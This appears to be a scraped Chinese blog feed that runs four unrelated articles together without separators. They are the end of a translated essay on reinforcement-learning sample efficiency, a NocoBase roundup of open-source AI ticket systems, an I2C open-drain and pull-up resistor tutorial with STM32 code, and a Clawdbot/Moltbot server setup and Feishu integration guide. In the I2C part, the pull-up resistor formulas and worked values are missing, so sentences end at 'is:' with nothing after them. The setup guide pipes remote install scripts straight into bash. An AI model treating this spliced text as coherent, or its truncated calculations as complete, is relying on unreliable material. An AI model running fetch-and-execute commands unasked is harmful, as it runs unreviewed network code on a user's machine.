  • 即使预训练语料中包含了完成某项任务的“操作说明”(比如教程、具体步骤或答案),它也缺少一种关键的东西 —— “思维轨迹”(thinking trace)。也就是说,数据里没有展示模型犯错时是怎么自我纠正的,也没有展示如何利用模型独特的、非人类的方式去组合技能来解决问题。而这些深层的思考痕迹,正是强化学习能提供的东西。

反驳的观点认为,虽然这些信息很有价值,但它们只在一个非常窄的通过率范围内(比如模型已经挺聪明了,但还没完全学会的时候)才能被获取。之所以要强调这一点,是因为在训练的大部分时间里,模型的通过率都极低(接近0),在对数尺度上看,这些低通过率的阶段占据了很大的比重,这意味着真正能高效学习的窗口期其实很短。

现在我们就能理解那些关于 RLHF/RL 仅能激发预训练模型中已有的潜在能力的说法了[6]。事实当然如此。如果预训练模型初始的通过率不够高,那么强化学习的 bits/sample 就会低得可怜,从而根本无法进行有效学习。 围棋对战中的“第 37 手”是一个非常著名的案例,它证明了强化学习确实能教给模型一种全新的、前所未有的策略。值得注意的是,AlphaGo 是通过自我对弈训练出来的(见上文关于自我对弈如何提高通过率的论述),而且以当时的标准来看[7],其计算消耗之巨令人吃惊。

06 强化学习的不均衡

人们指出,从经验上看,RLVR(强化学习 + 可验证奖励)实际上只是让模型将某种思维模式与特定问题类型关联起来,而并未真正培养出一种更通用的策略 —— 比如先退一步,再仔细思考最佳解法。

仔细想想。怎么会有模型在国际编程竞赛中达到世界顶尖水平,却同时在代码库中留下了大量本可预见的 Bug 和技术债务?

这种奇怪的不均衡该如何解释?也许 RLVR 无法区分一条成功的推理轨迹到底是模型通过某种通用的推理能力(举一反三)做出来的,还是仅仅靠死记硬背某种特定的解题模板(“看到这个形状就用这个套路”)做出来的。因为它没法区分这两种过程,所以模型可能学会了后者(简单的套路),而不是前者(通用的能力)。

当你使用策略梯度(policy gradient)进行 rollout(即让模型生成完整的行为序列)时,那种更复杂、更具泛化能力的策略几乎不可能被采样到;而简单的启发式策略却很容易被采样到,并随着训练不断被强化,出现频率越来越高,最终完全主导模型的行为(即达到“固定”状态)。与此同时,真正的通用策略则越来越难以被观察到,逐渐从训练过程中消失。

那么问题来了,我们该如何搭建一座“短桥”,把简单的启发式解法,和那种更复杂、更具泛化能力的通用策略连接起来?而且,这座桥会不会随着任务时间跨度(time horizons)自然拉长而自动出现 —— 从而迫使模型发展出真正的泛化能力?

我担心的是,那种“先退一步、基于对世界的理解做出明智判断”的通用策略,即使在更长周期的任务中,也依然很难通过“可验证的奖励”(verifiable rewards)被有效识别和强化。因此,要解决这种不均衡问题,不能只靠扩大 RLVR 的规模,而必须设计更鲁棒的训练方法。

07 人类的学习方式

本节我们讨论的只是 model-free RL —— 也就是仅从一个强化学习周期结束时的二元结果(成功/失败)中获得的信息量(bits/sample)。但显然,人类的学习效率远高于此。想想假如有一位连续创业者,我们会说她拥有大量来之不易的智慧和经验。而这些学习成果中,极少部分真正来自上一次创业的“one bit”结果(即创业成功与否)。

目前还不清楚,在机器学习中,人类这种从经验中学习的方式对应的是什么机制。 显然,我们的观察与反思会不断更新我们的世界模型(world model) —— 而且这种更新并不依赖于最终结果是成功还是失败。这在人类学习过程中起着非常重要的作用。

也许我们不该只是想着“如何把 model-free RL 的通过率调到 50% 左右,因为这样做仅仅是试图从一个单一的“成功/失败”结果中,挤出那么一点点微薄的信息。也许我们应该转换思路,去研究人类是如何从环境中获取海量信息的。人类并不像现在的机器那样,只盯着最终的结果(成功或失败),而是能从过程、观察和反思中吸收大量的经验和教训。

1 这个公式的意思是:从一个二元结果中学到的信息量 =p(样本正确) × (样本正确时获得的信息量) +p(样本错误) × (样本错误时获得的信息量)。

2 感谢 Lukas Berglund 指出我此前在这一点上的阐述有误。

END

本期互动内容 🍻

❓人类从失败中能学到远不止“0/1”的反馈——你觉得 AI 系统要如何模拟这种过程性反思能力?

文中链接

[1]https://www.tobyord.com/writing/inefficiency-of-reinforcement...

[2]https://thinkingmachines.ai/blog/lora/#how-much-capacity-is-n...

[3]https://arxiv.org/pdf/2012.03107

[4]https://arxiv.org/pdf/1707.05300

[5]https://arxiv.org/abs/2501.12948

[6]https://arxiv.org/abs/2510.07364v3

[7]https://epoch.ai/data/ai-models

原文链接:

https://www.dwarkesh.com/p/bits-per-sample

原文链接:https://www.nocobase.com/cn/blog/6-best-open-source-ai-ticket...

之前的文章中,我们梳理了一些可以替代 Zendesk 的开源与自托管 AI 工单系统方案。在文章撰写和资料调研的过程中,我们也持续关注了社区里对相关话题的讨论。 从实际使用体验来看,传统工单系统本质上只是一个记录与流转工具,记录问题、改变状态、最后关闭。至于问题是否被快速理解、是否被正确分派、是否能少走弯路,几乎完全依赖人工经验。 在 Reddit 的技术社区中,有两条讨论引起了我们的注意。

TicketingSystems1.png!

TicketingSystems2.png

越来越多的团队开始尝试引入所谓的 “AI Helpdesk”,希望借助 AI 来缓解支持压力。但在 Reddit 的讨论中,我们看到的反馈却相当一致,也非常直接:

  • AI 往往只是生成一段看起来很聪明的回复
  • 对实际处理效率的提升非常有限
  • 整体流程并没有发生变化,只是在原有系统上多了一个 AI 按钮

如果 AI 只是停留在回复层,而没有真正进入工单流程本身,那它对团队的帮助是非常有限的。


💬 嗨!你正在阅读 NocoBase 博客。NocoBase 是一个极易扩展的 AI 无代码/低代码开发平台,用于构建企业应用、内部工具和各类系统。它完全支持自托管,基于插件架构设计,开发者友好。→ 欢迎在 GitHub 上了解我们


也正是在这样的需求和反馈之下,我们认为,“AI 工单系统”已经不再只是一个简单的产品分类,而更像是一个需要被重新定义的解决方案层级。它不应只是一个会生成回复的系统,而应当是一个能够真正介入流程、自动理解与分派工单、基于知识库给出可用建议,并且能够与企业内部业务系统深度结合的 AI 工单系统。

本文将从 AI 工单系统在 2026 年应具备的核心能力出发,系统性梳理这些能力可以如何在不同系统中实现,帮助你和团队在选型时跳出“是否带 AI”的表层判断,回到效率和结构本身。

2026 AI 工单系统的必备能力

1. 自动理解与摘要 AI 工单系统需要准确理解工单内容,从自然语言描述中提取关键信息,减少人工反复阅读和上下文确认的成本。

2. 智能分类与路由 真正有效的 AI 应当能够自动完成初步分类与优先级判断,并将工单分派给合适的团队或角色,而不是把这些决策继续留给人工处理。

3. 基于知识库的回复建议 AI 的价值在于复用已有知识,通过历史工单和文档给出可编辑的处理建议,而不是直接“自动结案”或输出脱离上下文的通用回答。

4. 流程中的 AI 介入点 AI 应当贯穿工单的完整生命周期,在建单前、处理过程中以及关闭与总结阶段持续发挥作用。

5. 可控、可扩展、可自托管 在企业场景下, AI 工单系统必须支持数据主权和模型可替换,避免被单一 SaaS 锁定,才能在长期发展中保持可控性和扩展空间。

开源 AI 工单系统选型清单

1.NocoBase

官网链接:https://www.nocobase.com/

GitHub 链接:https://github.com/nocobase/nocobase

GitHub Star 数:21.4k

核心定位 NocoBase 是一套以数据模型为核心的开源业务系统平台,通过插件化架构扩展业务能力,并将 AI 能力深度融入系统的核心模块之中。工单、知识库、流程、内部服务台都是其可以构建的业务模块。

🎉基于 NocoBase 2.0 构建的智能工单系统

适合场景

  • 希望高度自定义工单流程的 IT / 内部支持团队
  • 不满足于标准流程,需要结合内部业务系统的组织
  • 对数据主权、自托管、AI 模型可控性有明确要求的企业
  • 希望将工单系统逐步升级为内部智能服务平台的团队

AI 扩展方式

NocoBase 的 AI 能力不是附加功能,而是通过 AI 员工深度融入业务系统。

  1. 自动理解与摘要
  • AI 员工可以理解工单的自然语言描述
  • 结合数据模型与字段结构,自动提取关键信息
  • 支持生成摘要并写回工单字段,减少人工阅读和上下文确认成本

NocoBase1.png

  1. 智能分类与路由
  • AI 可作为工作流中的决策节点
  • 根据工单内容、字段信息和历史数据进行自动分类
  • 计算优先级并分派给对应团队、角色或 SLA 流程

NocoBase2.png

  1. 基于知识库的回复建议(RAG)
  • 工单解决过程可以自动转为知识条目
  • 新工单创建时可基于已有知识推荐相似解决方案
  • AI 员工可以辅助查找已有知识,并生成建议回复

NocoBase3.gif

  1. 流程中的 AI 介入点
  • AI 可介入建单前(表单填写辅助)
  • 处理过程中(分析、建议、补充信息)
  • 关闭阶段(总结工单、沉淀知识)

NocoBase4.gif

  1. 可控、可扩展、可自托管
  • 100% 开源、完全自托管
  • 支持多种 AI 模型(OpenAI、Claude、本地模型)
  • 插件化架构,可基于企业业务灵活调整系统

NocoBase5.png

2. Frappe Helpdesk

官网链接:https://frappe.io/helpdesk

GitHub 链接:https://github.com/frappe/helpdesk

GitHub Star 数:2.9k

核心定位 Frappe Helpdesk 并不是一个孤立的工单系统,而是 Frappe 业务平台中的一部分,天然与 ERP、CRM、项目管理等模块共享数据模型,更偏向业务系统一体化的服务支持方案。

适合场景

  • 已经在使用 ERPNext / Frappe 平台的组织
  • 希望将工单与业务数据、客户、订单、资产等信息打通的团队
  • 对“系统一致性”和内部数据联动要求高,而非只关注客服功能的企业
  • 内部 IT 支持、业务支持型 Helpdesk 场景

AI 扩展方式

Frappe Helpdesk 的可以作为业务平台的一部分,能够让工单自然融入企业已有的数据与流程体系。对于已经使用 ERPNext 的团队来说,它更像是一个业务支持入口,而不是独立的 AI 工单系统产品。

  1. 自动理解与基础分类(可扩展)
  • 可结合 Frappe 平台已有的数据结构
  • 通过外部 LLM 或自建 AI 服务,对工单描述进行基础理解

Frappe Helpdesk1.png

  1. 基于业务数据的辅助建议
  • 工单可直接关联 ERP / CRM 数据
  • AI 可基于已有业务记录,给出处理参考或背景说明
  • 更适合“业务支持型”场景,而非高并发客服场景

Frappe Helpdesk2.png

3. Chatwoot

官网链接:https://www.chatwoot.com/

GitHub 链接:https://github.com/chatwoot/chatwoot

GitHub Star 数: 27.1k

核心定位 Chatwoot 可以统一承载来自不同渠道的对话,并将这些对话转化为可处理的支持请求或工单。

适合场景

  • 需要统一管理 Web Chat、Email、社交媒体、IM 等多渠道支持入口的团队
  • 将“对话”作为服务起点,而不是先生成工单的组织
  • 希望在支持流程前端引入 AI,减轻人工接待和初步沟通压力的团队

AI 扩展方式

Chatwoot 并不以复杂的工单生命周期管理见长,其 AI 能力更多集中在沟通与入口层。

  1. 自动理解与摘要
  • Chatwoot 天然以“对话”为核心对象
  • 通过接入外部 LLM,可实现:

    • 对话摘要
    • 回复草稿生成
    • 常见问题自动应答

Chatwoot1.png

  1. 工单触发与前置分流
  • 对话可根据规则或 AI 判断转化为工单
  • 在建单前完成初步筛选和分流
  • 减少无效或重复工单进入后端系统

Chatwoot2.png

4. Zammad

官网链接:https://zammad.com/

GitHub 链接:https://github.com/zammad/zammad

GitHub Star 数: 5.4k

核心定位 Zammad 以完整的工单生命周期管理为核心,强调多渠道接入、状态流转、权限与 SLA 管理,是一款流程导向非常明确的 Helpdesk 工具。

适合场景

  • 需要一套成熟、结构清晰的 Helpdesk 系统的 IT 支持团队
  • 对工单生命周期、权限和 SLA 管理有明确要求的组织
  • 希望在稳定工单流程之上,引入 AI 做辅助判断与建议的团队
  • 以 Helpdesk 为核心,而非平台化重构的场景

AI 扩展方式

Zammad 本身并不内置 AI 功能,但其规则引擎与 API 设计,使其非常适合在既有流程上叠加 AI 能力。

  1. 自动理解与摘要(可扩展)
  • 可通过 API / Webhook 接入外部 LLM
  • 帮助支持人员快速把握问题核心,减少人工阅读成本

Zammad1.png

  1. 规则驱动的分类与分派
  • Zammad 拥有成熟的规则系统
  • AI 可辅助完成主题识别、优先级判断
  • 结合现有规则,实现更智能的分派与升级逻辑

Zammad2.png

  1. 基于知识库的回复建议
  • Zammad 支持知识库模块
  • 可通过外部 AI 服务,基于已有知识内容生成回复建议

Zammad3.png

5. FreeScout

官网链接:https://freescout.net/

GitHub 链接:https://github.com/freescout-help-desk/freescout

GitHub Star 数:4k

核心定位 FreeScout 可以提供一个简单、可控的共享收件箱与工单管理工具,功能聚焦、学习成本低,更接近“开源版 Help Scout”。

适合场景

  • 中小团队或初期阶段的支持团队
  • 以邮件工单为主要支持渠道的组织
  • 预算敏感、希望避免复杂系统引入成本的团队
  • 对流程复杂度要求不高,但希望逐步引入 AI 辅助的场景

AI 扩展方式

FreeScout 本身并不内置 AI 能力,但其插件机制和简单的数据结构,使其可以在有限范围内叠加 AI 辅助功能。

  1. 基于知识库的回复建议(可扩展)
  • 结合已配置的知识库内容、历史工单或预设回复模板
  • 利用 LLM 生成可编辑的回复草稿,供支持人员参考和调整
  • 更适合处理常见问题或重复性场景,而非复杂、多轮上下文的推理

FreeScout1.png

  1. 基于规则的初步分类
  • 可结合规则与 AI 辅助判断结果
  • 对邮件工单进行初步分类或标签标记

FreeScout2.png

6. Faveo Helpdesk

官网链接:https://www.faveohelpdesk.com/

GitHub 链接:https://github.com/faveosuite/faveo-helpdesk

GitHub Star 数:1.2k

核心定位

Faveo Helpdesk 是基于 Laravel 生态的开源 Helpdesk 系统。内置工单、知识库与基础流程管理能力,强调可读性与可扩展性,适合进行二次开发和功能增强。

适合场景

  • 使用 Laravel / PHP 技术栈的团队
  • 希望在 Helpdesk 基础之上,逐步引入定制功能或 AI 能力的组织
  • 对知识库建设与内容复用有明确需求的支持团队
  • 不追求平台级重构,但需要一定扩展空间的场景

AI 扩展方式

Faveo Helpdesk 的 AI 扩展主要依托其知识库结构清晰、代码可扩展的特点,更适合从“内容与建议层”引入 AI。

  1. 基于知识库的回复建议
  • 内置知识库模块,结构清晰
  • 可结合外部 LLM,对知识库内容进行检索与生成
  • 为支持人员提供可编辑的回复建议

Faveo Helpdesk1.png

  1. 自动理解与摘要(可扩展)
  • 可通过 Laravel 生态中的 AI 服务
  • 对工单描述进行基础语义理解与摘要
  • 帮助支持人员更快把握问题背景。

Faveo Helpdesk2.png

结语

在选型过程中,比起功能数量,更应该关注 AI 能够在多深的程度上参与到你的工单流程中,系统是否具备持续扩展这些能力的空间。

随着使用场景的变化,工单系统的边界也在不断延展,从最初的问题记录工具,到内部服务台,再到如今的 AI 驱动的业务支持平台,新一代的工单系统正在逐步成为企业内部协作与服务交付的重要基础设施。

💕如果你在工单系统选型或 AI 工单系统实践中有类似困惑,希望这篇文章能带来一些参考,欢迎分享给更多感兴趣的朋友。

相关阅读:

大家好,我是良许。

在嵌入式开发中,IIC(I2C)总线可以说是最常用的通信协议之一了。

无论是读取传感器数据、控制EEPROM存储器,还是与各种外设进行通信,IIC总线都扮演着重要角色。

但很多初学者在使用IIC时,往往只关注软件层面的时序和协议,却忽略了硬件层面的关键设计。

今天我就来聊聊IIC总线硬件部分的两个核心要点:开漏输出和上拉电阻。

理解了这两点,你才能真正掌握IIC总线的精髓。

1. IIC总线的基本结构

在深入讲解之前,我们先简单回顾一下IIC总线的基本构成。

IIC总线只需要两根信号线就能实现多主机、多从机之间的通信,这两根线分别是:

  • SCL(Serial Clock):时钟线,由主机产生时钟信号
  • SDA(Serial Data):数据线,用于主从设备之间的数据传输

一条IIC总线上可以挂载多个设备,每个设备都有唯一的地址。

这种简洁的设计让IIC总线在嵌入式系统中广受欢迎,特别是在PCB布线空间有限的场景下。

但问题来了:多个设备共用同一根数据线和时钟线,它们是如何避免冲突的呢?这就要说到IIC总线硬件设计的核心机制了。

2. 开漏输出:IIC总线的灵魂

2.1 什么是开漏输出

开漏输出(Open-Drain)是IIC总线最核心的硬件特性。

要理解开漏输出,我们先来看看常见的GPIO输出模式。

在普通的推挽输出(Push-Pull)模式下,GPIO引脚可以主动输出高电平(通过上管导通)或低电平(通过下管导通)。

这种模式下,引脚能够提供较强的驱动能力,但有个致命问题:如果两个推挽输出的引脚连接在一起,一个输出高电平,另一个输出低电平,就会造成短路,可能烧毁芯片。

而开漏输出则不同,它的内部结构只有一个下拉的NMOS管,没有上拉的PMOS管。这意味着:

  • 当GPIO输出低电平时,NMOS管导通,引脚被拉到地(GND),呈现低电平
  • 当GPIO输出高电平时,NMOS管截止,引脚呈现高阻态(既不输出高也不输出低)

这种"只能拉低,不能拉高"的特性,正是开漏输出的精髓所在。

2.2 开漏输出的优势

你可能会问:只能拉低不能拉高,这不是很鸡肋吗?恰恰相反,这正是IIC总线能够实现多设备共享总线的关键。

第一个优势:线与逻辑

多个开漏输出连接在同一根线上时,会形成"线与"(Wired-AND)逻辑。

只要有任何一个设备输出低电平,整条总线就是低电平;只有当所有设备都输出高阻态时,总线才能被上拉电阻拉到高电平。

这种特性在IIC总线中至关重要。

比如在多主机系统中,如果两个主机同时发送数据产生冲突,通过检测总线电平,主机可以发现冲突并进行仲裁。

发送"1"的主机如果检测到总线为"0",就知道有其他主机在发送数据,会主动放弃总线控制权。

第二个优势:电平转换

开漏输出配合上拉电阻,可以轻松实现不同电压域之间的电平转换。

比如一个3.3V的MCU和一个5V的传感器通信,只需要将上拉电阻接到5V电源,就能实现电平匹配。

3.3V的MCU输出低电平时可以将总线拉低,输出高阻态时总线被上拉到5V,这个5V电平不会损坏MCU(因为MCU引脚是高阻态,没有电流流入)。

第三个优势:避免总线冲突

在推挽输出模式下,如果两个设备同时驱动总线,一个输出高一个输出低,就会造成短路。

而开漏输出永远不会主动输出高电平,最多只是高阻态,因此不会产生短路风险。

2.3 STM32中的开漏配置

在STM32中配置IIC引脚为开漏输出非常简单。

使用HAL库的话,代码如下:

void MX_I2C1_Init(void)
{
    GPIO_InitTypeDef GPIO_InitStruct = {0};
    
    /* 使能GPIOB时钟 */
    __HAL_RCC_GPIOB_CLK_ENABLE();
    
    /* 配置IIC引脚:PB6(SCL), PB7(SDA) */
    GPIO_InitStruct.Pin = GPIO_PIN_6 | GPIO_PIN_7;
    GPIO_InitStruct.Mode = GPIO_MODE_AF_OD;  // 复用开漏输出
    GPIO_InitStruct.Pull = GPIO_NOPULL;      // 不使用内部上下拉
    GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_HIGH;
    GPIO_InitStruct.Alternate = GPIO_AF4_I2C1;
    HAL_GPIO_Init(GPIOB, &GPIO_InitStruct);
    
    /* 配置IIC外设 */
    hi2c1.Instance = I2C1;
    hi2c1.Init.ClockSpeed = 100000;  // 100kHz标准速率
    hi2c1.Init.DutyCycle = I2C_DUTYCYCLE_2;
    hi2c1.Init.OwnAddress1 = 0;
    hi2c1.Init.AddressingMode = I2C_ADDRESSINGMODE_7BIT;
    hi2c1.Init.DualAddressMode = I2C_DUALADDRESS_DISABLE;
    HAL_I2C_Init(&hi2c1);
}

注意代码中的 GPIO_MODE_AF_OD,这就是配置为复用功能的开漏输出模式。

同时 GPIO_NOPULL 表示不使用芯片内部的上下拉电阻,因为我们需要外部上拉电阻。

3. 上拉电阻:开漏输出的最佳拍档

3.1 为什么需要上拉电阻

前面提到,开漏输出只能拉低电平,不能主动输出高电平。

那么高电平从哪里来呢?答案就是上拉电阻。

上拉电阻一端连接到电源(通常是VCC),另一端连接到IIC总线。

当所有设备的开漏输出都处于高阻态时,上拉电阻会将总线"拉"到高电平。

当任何一个设备输出低电平时,由于低电平的驱动能力远强于上拉电阻,总线会被拉到低电平。

可以把上拉电阻想象成一根弹簧,总是试图把总线拉到高电平。

而开漏输出就像一只手,需要的时候可以把总线按下去(拉低),松开手(高阻态)时弹簧就会把总线弹回高电平。

3.2 上拉电阻的阻值选择

上拉电阻的阻值选择是个技术活,选大了选小了都不行。

阻值太小的问题:

如果上拉电阻太小(比如1kΩ),虽然可以提供很强的上拉能力,但会带来两个问题:

  1. 功耗增加。当总线被拉低时,会有较大的电流从VCC经过上拉电阻流向GND,计算公式为I=VCC/Rpullup。以3.3V系统为例,1kΩ电阻会产生3.3mA的电流,在低功耗应用中这是不可接受的。
  2. 增加驱动负担。开漏输出需要吸收更大的电流才能将总线拉低,可能超出芯片的驱动能力。

阻值太大的问题:

如果上拉电阻太大(比如100kΩ),上拉能力会变弱,带来的问题是:

  1. 上升沿变慢。总线电容(包括走线电容、引脚电容等)需要通过上拉电阻充电才能从低电平变为高电平。阻值越大,充电时间越长,上升沿越慢。时间常数可以用 τ=R×C 计算。
  2. 抗干扰能力下降。较弱的上拉能力使得总线更容易受到外部干扰的影响。

合适的阻值范围:

一般来说,IIC总线的上拉电阻推荐范围是:

  • 标准速率(100kHz):4.7kΩ ~ 10kΩ
  • 快速模式(400kHz):2.2kΩ ~ 4.7kΩ
  • 高速模式(3.4MHz):需要更精确的计算,通常在1kΩ左右

最常用的值是4.7kΩ,这是一个经过实践检验的经验值,在大多数应用场景下都能良好工作。

3.3 上拉电阻的计算方法

如果你想精确计算上拉电阻的阻值,可以使用以下公式。首先需要确定总线电容 Cbus,它包括:

  • 走线电容(约10pF/cm)
  • 每个设备的引脚电容(数据手册会标明,通常5~10pF)
  • 其他寄生电容

假设IIC总线时钟频率为 fSCL,上升时间要求为tr

(标准模式下最大1000ns,快速模式下最大300ns),则上拉电阻的最大值为:

同时,为了保证足够的驱动能力,上拉电阻的最小值需要满足:

其中 VOL(max) 是输出低电平的最大值(通常0.4V),IOL是开漏输出的最大吸收电流(查阅芯片手册)。

举个实际例子,假设:

  • 总线电容 Cbus=100pF
  • 上升时间要求 tr=1000ns(标准模式)
  • 电源电压 VCC=3.3V
  • 最大吸收电流 IOL=3mA

则:

因此上拉电阻应该选择在1kΩ到11.8kΩ之间,选择4.7kΩ是非常合适的。

3.4 多个上拉电阻并联的情况

在实际应用中,有时候会遇到多个模块都带有上拉电阻的情况。

比如你的主板上有上拉电阻,外接的传感器模块上也有上拉电阻。

这时候多个电阻会并联,等效电阻会变小。

两个电阻并联的等效电阻计算公式为:

比如两个4.7kΩ的电阻并联,等效电阻为:

这个值仍然在合理范围内,但如果并联的电阻太多,等效电阻可能会过小,导致功耗增加。

因此在设计时,建议只在主板上放置上拉电阻,外接模块上不要再加上拉电阻。

如果模块已经有上拉电阻,可以考虑用0欧电阻或跳线帽来选择性地启用。

4. 实际应用中的注意事项

4.1 上拉电阻的位置

上拉电阻应该尽量靠近主控芯片放置,而不是分散在各个从设备附近。

这样可以减少总线的寄生电容,提高信号质量。

在多层PCB中,建议将IIC走线放在内层,并在下方铺设完整的地平面,以减少干扰。

4.2 长距离传输的考虑

IIC总线本来是为板级通信设计的,传输距离通常在几厘米到几十厘米之间。

如果需要长距离传输(超过1米),需要特别注意:

  1. 降低通信速率,比如从400kHz降到100kHz甚至更低
  2. 使用更小的上拉电阻(但不要小于最小值)
  3. 考虑使用IIC总线扩展芯片或差分信号方案
  4. 增加滤波电容,提高抗干扰能力

4.3 调试技巧

在调试IIC通信问题时,可以用示波器观察SCL和SDA信号。正常情况下应该看到:

  1. 高电平接近VCC,低电平接近0V
  2. 上升沿呈指数曲线(RC充电曲线),下降沿陡峭
  3. 没有明显的振铃或过冲

如果上升沿太慢,说明上拉电阻太大或总线电容太大;如果有振铃,可能需要增加串联电阻或并联电容进行阻尼。

4.4 软件模拟IIC的配置

有时候我们需要用GPIO模拟IIC(比如硬件IIC引脚被占用了),这时候也要配置为开漏输出。

示例代码如下:

/* 初始化模拟IIC的GPIO */
void Soft_I2C_Init(void)
{
    GPIO_InitTypeDef GPIO_InitStruct = {0};
    
    __HAL_RCC_GPIOB_CLK_ENABLE();
    
    /* 配置SCL和SDA为开漏输出 */
    GPIO_InitStruct.Pin = I2C_SCL_PIN | I2C_SDA_PIN;
    GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_OD;  // 开漏输出
    GPIO_InitStruct.Pull = GPIO_NOPULL;
    GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_HIGH;
    HAL_GPIO_Init(I2C_GPIO_PORT, &GPIO_InitStruct);
    
    /* 初始状态设为高电平(实际是高阻态) */
    HAL_GPIO_WritePin(I2C_GPIO_PORT, I2C_SCL_PIN, GPIO_PIN_SET);
    HAL_GPIO_WritePin(I2C_GPIO_PORT, I2C_SDA_PIN, GPIO_PIN_SET);
}

/* 读取SDA电平 */
uint8_t I2C_SDA_Read(void)
{
    return HAL_GPIO_ReadPin(I2C_GPIO_PORT, I2C_SDA_PIN);
}

/* 设置SDA为低电平 */
void I2C_SDA_Low(void)
{
    HAL_GPIO_WritePin(I2C_GPIO_PORT, I2C_SDA_PIN, GPIO_PIN_RESET);
}

/* 设置SDA为高电平(高阻态) */
void I2C_SDA_High(void)
{
    HAL_GPIO_WritePin(I2C_GPIO_PORT, I2C_SDA_PIN, GPIO_PIN_SET);
}

注意在读取SDA电平时,要先将SDA设为高阻态(输出高电平),然后再读取引脚状态。

这样才能正确读取从设备发送的应答信号。

5. 总结

IIC总线的硬件设计看似简单,实则蕴含着精妙的设计思想。

开漏输出和上拉电阻这两个关键点,共同构成了IIC总线多设备共享、双向通信的基础。

开漏输出提供了"线与"逻辑,使得多个设备可以安全地共享同一根总线,避免了总线冲突的风险。

而上拉电阻则为开漏输出提供了高电平,同时还能实现电平转换、限制电流等功能。

两者配合,才能让IIC总线稳定可靠地工作。

在实际应用中,正确选择上拉电阻的阻值、合理布局PCB、注意信号完整性,都是保证IIC通信质量的关键。

希望通过今天的讲解,能让大家对IIC总线有更深入的理解,在以后的项目中少走弯路。

如果你在使用IIC总线时遇到通信不稳定、速率上不去等问题,不妨从硬件层面入手,检查一下是不是开漏输出配置不对,或者上拉电阻选择不合适。

很多时候,硬件问题比软件问题更隐蔽,但一旦找到根源,解决起来反而更简单。

更多编程学习资源

Clawdbot 对接飞书详细教程 手把手搭建你的专属 AI 助手

注意本教程在 Linux 系统下进行

Clawdbot 由于 Claude 的版权问题,已更名为 Moltbot,因此本教程基于最新版本编写。下面进入安装流程

首先准备一台闲置的云服务器或 VPS(推荐使用香港或海外节点)。由于 Clawdbot 运行时权限较大,出于安全考虑,不建议在本地或工作机上安装,推荐在一台独立的空服务器上部署。准备完成后,登录到服务器。

安装

如果你不想安装,可以直接使用阿里云的Clawdbot 一键部署,部署之后可以直接跳到对接飞书

第一步安装 Git

# 安装 Git
sudo apt update
sudo apt install git -y

第二步安装 Node.js

# 安装 NVM
# 国内使用 gitee 的镜像源
curl -o- https://gitee.com/RubyMetric/nvm-cn/raw/main/install.sh | bash

# 国外使用
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash

# 重新加载环境变量
source ~/.bashrc

# 安装 Node.js 22
nvm install 22

# 查看 nodejs 版本
node -v # 输出 v22 即可,版本只要 22 就行

安装 Moltbot (原 Clawdbot)

# 使用官方脚本安装
curl -fsSL https://molt.bot/install.sh | bash
服务器在国内,如果安装失败的话,可能需要解决网络问题

其他平台安装方式请参考Moltbot (原Clawdbot) 安装文档

你会看到如下图输出
Clawdbot 安装过程 - AI 助手部署初始化
如果首次安装,时间会很长,需要耐心等待。
如果最后输出如下内容:

→ npm install failed; cleaning up and retrying...

新的脚本服务器内存要求变高了,据我使用下来 2G 内存,肯定会 OOM,如果出错的话,建议使用 swap 把硬盘空间当作交互内存使用。

成功之后会输出如下图片
Clawdbot 安装成功 - AI 机器人配置向导
第一个选项选择 yes, 就是询问你是否知道风险的。
第二步选择 QuickStart
Clawdbot QuickStart 快速开始选项
第三步选择模型服务商,这里选择 Qwen,免费额度充足,适合入门使用
Clawdbot 选择 AI 模型服务商 Qwen 千问
选择千问模型后,会提供一个链接,复制并在浏览器中打开,如下图
Clawdbot 千问模型授权链接
打开浏览器后,会看到如下界面。由于我已登录过,所以显示账户信息;如果尚未登录,按照提示完成登录即可。
Clawdbot 千问 AI 账户登录页面
登录完成后,会出现以下选项,提示选择对应的千问模型,如下图
Clawdbot 选择千问 AI 模型版本
选择默认模型即可。接下来会提示选择 channel,这里先跳过,后续再添加
Clawdbot channel 渠道配置选项
继续下面选择 skills,也是选择 No,如下图
Clawdbot skills 技能配置选项
继续下面选择 hooks,也是使用空格选择 No,如下图
Clawdbot hooks 配置选项
然后等待安装完成,最后会出现以下选项,这里选择 TUI
Clawdbot 选择 TUI 终端界面
如果看到 TUI 聊天界面,说明安装成功,可以尝试输入 Hello 进行测试。
Clawdbot TUI 聊天界面 - AI 助手对话测试
然后直接使用 ctrl+c 先关闭,后面我们再来设置

查看服务

可以使用下面的命令来查看

clawdbot status

会看到如下图的结果就说明服务启动了
Clawdbot 服务状态检查 - AI 助手运行中

访问 Web UI 面板

如何访问面板?服务监听在 http://127.0.0.1:18789/ 端口上,我们现在通过 ssh 隧道来访问,输入下面的命令

ssh -N -L 18789:127.0.0.1:18789 用户名@服务器IP
# 回车之后
用户名@服务器IP's password: # 输入密码

然后在浏览器打开 http://127.0.0.1:18789/, 你会看到 Dashboard 了,如下图
Clawdbot Web UI Dashboard 未授权页面
图中显示的是未授权状态,回到服务器,输入以下命令

clawdbot dashboard

会看到下面的面板数据
Clawdbot Dashboard URL 获取命令
复制对应的 Dashboard URL 到浏览器打开,即可正常查看聊天记录。
Clawdbot Web UI 管理面板 - AI 助手聊天记录

至此 Clawdbot 已安装完成,可以正常访问了。然后聊天框里面首次输入 Hello, Clawdbot 会询问你他应该叫什么,应该叫你什么。就是你需要给它设置个名字,还有 bot 改叫你什么。你可以在聊天框这么输入

Name: Clawdbot

My Name: Boss

对接飞书

首先安装飞书插件,输入以下命令

clawdbot plugins install @m1heng-clawd/feishu

登录飞书开放平台 https://open.feishu.cn,点击「开发者后台 -> 创建企业自建应用」,如下图
飞书开放平台创建企业自建应用 - Clawdbot 对接
然后点击创建应用,如下
飞书创建应用 - Clawdbot AI 机器人
创建完成后,首先到凭据管理中获取 App ID 和 App Secret,注意保存,后续配置需要使用。
飞书 App ID 和 App Secret 凭据管理
然后添加机器人,如下操作
飞书添加机器人能力 - Clawdbot AI 助手
首先配置个名字
飞书机器人名称配置 - Clawedbot

飞书的其他配置先暂停,回到服务器配置 Clawdbot 的飞书参数

添加飞书配置

clawdbot config set channels.feishu.appId "飞书 app id"

clawdbot config set channels.feishu.appSecret "飞书 app secret"

clawdbot config set channels.feishu.enabled true

# 推荐使用 websocket
clawdbot config set channels.feishu.connectionMode websocket

clawdbot config set channels.feishu.dmPolicy pairing

clawdbot config set channels.feishu.groupPolicy allowlist

